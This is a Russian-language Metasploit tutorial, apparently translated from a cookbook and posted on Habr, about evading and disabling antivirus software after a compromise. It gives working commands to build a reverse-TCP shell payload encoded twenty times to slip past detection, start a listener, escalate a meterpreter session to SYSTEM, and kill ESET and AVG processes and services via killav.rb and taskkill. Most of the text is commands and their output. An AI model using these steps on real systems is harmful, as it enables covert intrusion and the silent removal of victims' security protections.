root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 r | msfencode -e x86/shikata_ga_nai -c 20 -t vbs >.local/cmdtest2.vbs [*] x86/shikata_ga_nai succeeded with size 317 (iteration=1) [*] x86/shikata_ga_nai succeeded with size 344 (iteration=2) [*] x86/shikata_ga_nai succeeded with size 371 (iteration=3) . . . . [*] x86/shikata_ga_nai succeeded with size 803 (iteration=19) [*] x86/shikata_ga_nai succeeded with size 830 (iteration=20)
Обратите внимание на небольшие изменения в команде: exe-файл был заменен на vbs и мы не использовали шаблоны, чтобы предотвратить сбои во время выполнения на стороне клиента.
Как вы, возможно, уже заметили, этот рецепт основывается исключительно на подборе различных payload’ов и кодировщиков. Чем больше вы будите пробовать различные комбинации, тем больше будет шансов на успех. Поэтому я призываю вас активно пробовать различные эксперименты и открыть свой собственный путь обхода антивирусной защиты.
В первую очередь кодировщики используются для обфускации шелл-кода, чтобы их не обнаружили антивирусы. Кодер shikata_ga_nai использует полиморфный метод XOR. Причина по которой shikata_ga_nai популярен в то, что он использует использует собственный метод декодирования. Само-расшифровка означает, что программа расшифровывает части себя во время выполнения. В идеале программа содержит только расшифровщик заглушки (stub) и зашифрованный код. Итерации еще более усложняют процесс кодирования, используя туже операцию снова и снова, чтобы сделать шелл-код для антивируса совершенно чуждым.
Использование killav.rb сценария для деактивации антивирусных программ
В предыдущем рецепте мы сосредоточились на различных методах, которые могут быть реализованы для обхода антивирусов на стороне клиента и открыть активную сессию. Ну а история на этом не заканчивается. А что если мы захотим скачать файлы с целевой системы или установить кейлоггер и т.д.? Такая деятельность может не понравиться антивирусу и он забьет тревогу. Так что, как только мы получили активную сессию, следующим шагом будет «убийство» антивируса по тихому. Убить антивирус нужно для того, чтобы наша деятельность, на целевой системе, осталась не замеченной.
В этом рецепте будем использовать некоторые скрипты, доступные в активной сессии. У нас есть целая глава, посвященная meterpreter-скриптингу, поэтому здесь сфокусируемся на быстром введении в meterpreter скриптинг, а так же посмотрим некоторые полезные команды.
Начнем с небольшого введения в meterpreter. Meterpreter является передовым/продвинутым payload’ом, что значительно повышает эффективность выполнения команд на целевой машине. Это командный интерпретатор, который работает в памяти DLL инъекции, что дает гораздо больше преимуществ по сравнению с другими интерпретаторами. В этом рецепте будем использовать windows/meterpreter/reverse_tcp payload и тестовую цель Windows 7 на которой запущен ESET NOD32.
Давайте запустим «слушателя» (listener) в msfconsole и подождем обратное соединение (back connection).
msf > use multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload =>windows/meterpreter/reverse_tcp msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh.. LHOST 192.168.56.101 yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > exploit [*] Started reverse handler on 192.168.56.101:4444 [*] Starting the payload handler...
Итак, наш слушатель готов к работе. Как только client-side атака успешно выполниться на целевой машине, у нас будет meterpreter сессия запущенная в msfconsole.
[*] Sending stage (752128 bytes) to 192.168.56.1 [*] Meterpreter session 2 opened (192.168.56.101:4444 ->192.168.56.1:49188) at 2011-11-29 13:26:55 +0530 meterpreter >
Теперь все готово для «убийства» антивируса. Первой командой, которую выполним, будет getuid, чтобы посмотреть имя пользователя системы, которую сломали. Пользователь может быть либо главным администратором, либо менее привилегированным пользователем.
meterpreter > getuid Server username: DARKLORD-PC\DARKLORD
Это не похоже на административные привилегии. Так что след. нашим нагом будет повышение привилегий в системе, чтобы мы могли выполнять команды на цели без перерыва. Воспользуемся командой getsystem, которая будет пытаться повысить привилегии с локального пользователя до администратора.
meterpreter > getsystem ...got system (via technique 4)..
Как видим getsystem успешно повысила привилегии на цели, используя 4-ю технику (KiTrap0D exploit). Можем проверить это запустив еще раз команду getuid.
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
Итак, у нас есть главные административные привилегии (SYSTEM). Следующим шагом будет запуск команды ps, которая покажет список процессов запущенных в системе. Мы должны смотреть на те процессы, которые отвечают за работу антивируса (вывод был сокращен).
PID Name User Path --- ---- ---- ---- 1060 svchost.exe NT AUTHORITY\SYSTEM C:\Windows\System32\. 1096 svchost.exe NT AUTHORITY\SYSTEM C:\Windows\system32\. 1140 stacsv.exe NT AUTHORITY\SYSTEM C:\Windows\System32\. 1152 dsmonitor.exe DARKLORD-PC\DARKLORD C:\Program Files\Uni. 1744 egui.exe DARKLORD-PC\DARKLORD C:\Program Files\ESET\ESET NOD32 Antivirus\egui.exe 1832 eset.exe NT AUTHORITY\SYSTEM C:\Program Files\ESET\ESET NOD32 Antivirus\eset.exe
В столбцах Name и Path, можем легко определить процессы, которые принадлежат антивирусу. В нашем случае есть два процесса, отвечающие за антивирусную защиту на целевой системе. Это egui.exe и eset.exe. Теперь давайте посмотрим, как можно использовать Metasploit, чтобы «убить» эти процессы.
Meterpreter предоставляет весьма полезный скрипт killav.rb, который может быть использован, чтобы «убить» антивирусные процессы на целевой системе, и таким образом отключить его. Давайте попробуем этот скрипт на Windows 7 с запущенным антивирусом ESET NOD32.
meterpreter > run killav [*] Killing Antivirus services on the target...
Команда run используется для выполнения Ruby-скриптов в meterpreter. После того как сценарий выполнен, снова можем проверить запущенные процессы на целевой системе для того, чтобы убедиться, что все антивирусные процессы были убиты. Если ни один из антивирусных процессов не выполняется, значит, что антивирус был временно отключен и мы может двигать дальше в процессе пентеста.
Но, что если процессы все еще выполняются? Давайте найдем решение в след. рецепте.
Более глубокий взгляд в сценарий killav.rb
Продолжая наш предыдущий рецепт, мы сосредоточились на том, как убить антивирусные процессы на целевой машине с помощью killav.rb. Но что, если процессы по-прежнему работают, или они не были убиты даже после использования сценария? Тут может быть две причины. Либо killav.rb не включает те процессы в свой список, чтобы убить или процесс антивирусного приложения выполняется в качестве службы. В этом рецепте мы постараемся преодолеть эти проблемы. Так что давайте быстрее перейдем к нашему рецепту.
Мы начнем с той же meterpreter сессии, которая была предыдущем рецепте. Т.е. мы уже использовали killav.rb скрипт, но антивирусные процессы все еще работают. Посмотрим на запущенные процессы с помощью команды ps.
PID Name User Path --- ---- ---- ---- 1060 svchost.exe NT AUTHORITY\SYSTEM C:\Windows\System32\. 1096 svchost.exe NT AUTHORITY\SYSTEM C:\Windows\system32\. 1140 stacsv.exe NT AUTHORITY\SYSTEM C:\Windows\System32\. 1152 dsmonitor.exe DARKLORD-PC\DARKLORD C:\Program Files\Uni. 1744 egui.exe DARKLORD-PC\DARKLORD C:\Program Files\ESET\ESET NOD32 Antivirus\egui.exe 1832 eset.ece NT AUTHORITY\SYSTEM C:\Program Files\ESET\ESET NOD32 Antivirus\eset.exe
Как видим, оба процесса все еще живы. Давайте посмотрим на killav.rb скрипт.
Для просмотра и редактирования killav.rb сценария, откройте новое окно терминала и перейдите в /pentest/exploits/framework3/scripts/meterpreter.
root@bt: cd /pentest/exploits/framework3/scripts/meterpreter root@bt:/pentest/exploits/framework3/scripts/meterpreter# vim killav.rb
Нужно найти список перечисленных процессов. Это те процессы, которые знает killav.rb, чтобы убить их, т.е. если имена не совпадают, то он их просто не заметит и процессы будут продолжать работать.
@@exec_opts.parse(args) { |opt, idx, val| case opt when "-h" usage end } print_status("Killing Antivirus services on the target...") avs = %W{ egui.exe eset.exe AAWTray.exe Ad-Aware.exe MSASCui.exe _avp32.exe
Фрагмент кода показывает, что мы вставили имена наших процессов в начало списка. Теперь, чтобы сохранить файл, нажмите клавишу :, после чего появится мини-командная строка. Теперь введите qw для сохранения и выхода из редактора vim.
:wq
Теперь вернемся к meterpreter сессии и снова запустим killav.rb скрипт, и посмотрим что же произойдет.
meterpreter > run killav.rb [*] Killing Antivirus services on the target... [*] Killing off egui.exe... [*] Killing off eset.exe...
Вывод команды показывает, что скрипт успешно убил два процесса. Теперь снова проверим процессы, с помощью команды ps (вывод сокращен).
meterpretr> ps PID Name User Path --- ---- ---- ---- 1060 svchost.exe NT AUTHORITY\SYSTEM C:\Windows\System32\. 1096 svchost.exe NT AUTHORITY\SYSTEM C:\Windows\system32\. 1140 stacsv.exe NT AUTHORITY\SYSTEM C:\Windows\System32\. 1152 dsmonitor.exe DARKLORD-PC\DARKLORD C:\Program Files\Uni.
Вы увидите, что нет никаких активных процессов для ESET антивируса. Это говорит о том, что скрипт успешно убил антивирусную программу. Этот пример показывает, как мы можем повысить эффективность скриптов, добавляя в них наши собственные значения.
Убийство антивирусных служб из командной строки
В предыдущем рецепте мы назвали две причины, почему процессы антивируса продолжают работать, даже после использования скрипта killav.rb. В предыдущем рецепте мы ответили на первый вопрос: потому что killav.rb скрипт не содержит не весь список имен процессов. В этом рецепте сосредоточимся на втором вопросе: антивирусная программа работает в роли службы. Прежде чем продолжать, давайте сначала уясним разницу между процессом и службой.
Процесс это часть программного обеспечения работающего на компьютере. Некоторые процессы запускаются при включении компьютера, некоторые запускаются при необходимости. Некоторые процессы есть службы, которые публикуют методы доступа к ним, чтобы другие программы могли обращаться к ним по мере необходимости. Процесс это user-based, в то время как служба это system-based.
Антивирус может запустить некоторые компоненты, в качестве службы, например служба e-mail фильтрации, web access службы и т.п. Killav.rb скрипт не может убить службу. Поэтому даже если killav.rb убил процессы, антивирусная служба может запустить его снова. Так что, если мы используем killav.rb для убийства антивирусных процессов и они все еще работают, когда запускам команду ps, то можно сделать вывод, что некоторый компонент антивируса работает в качестве службы, которая отвечает за многократный перезапуск процессов.
Начнем со сценария, в котором целевая машина это Windows 7 с запущенным антивирусом AVG 10. Предполагается, что у нас уже имеется активная meterpreter сессия с административными привилегиями.
В этом рецепте будем использовать командную строку Windows. Открыть ее можно воспользовавшись командой sell.
meterpreter > shell Process 3324 created. Channel 1 created. C:\WINDOWS\system32>
Теперь воспользуемся командой tasklist для просмотра списка доступных задач. Добавляя /SVC параметр, мы будем просматривать только те процессы, которые работают в качестве служб. Так как мы знаем, что целевая система использует AVG антивирус, то можем добавить поиск по шаблону. Таким образом команда будет иметь след. вид:
C:\WINDOWS\system32> tasklist /SVC | find /I "avg" avgchsvx.exe 260 N/A avgrsx.exe 264 N/A avgcsrvx.exe 616 N/A AVGIDSAgent.exe 1664 AVGIDSAgent avgwdsvc.exe 116 avg9wd avgemc.exe 1728 avg9emc
Итак, у нас есть список служб и процессов для AVG антивируса. Далее воспользуемся командой taskkill, чтобы убить задачи и деактивировать антивирусную защиту.
Можем снова воспользоваться шаблонным поиском, так как в именах присутствует avg.
C:\WINDOWS\system32> taskkill /F /IM "avg*"
Параметр /F используется для силового убийства (force kill) процесса. Этот рецепт имеет множество областей для исследований. Вы можете столкнуться с некоторыми проблемами, но они могут быть преодолены после правильного набора команд.
Убийство процессов из командной строки просто вызывает вызовы ОС, которая отключает конкретную службу.
ссылка на оригинал статьи http://habrahabr.ru/post/194146/
Добавить комментарий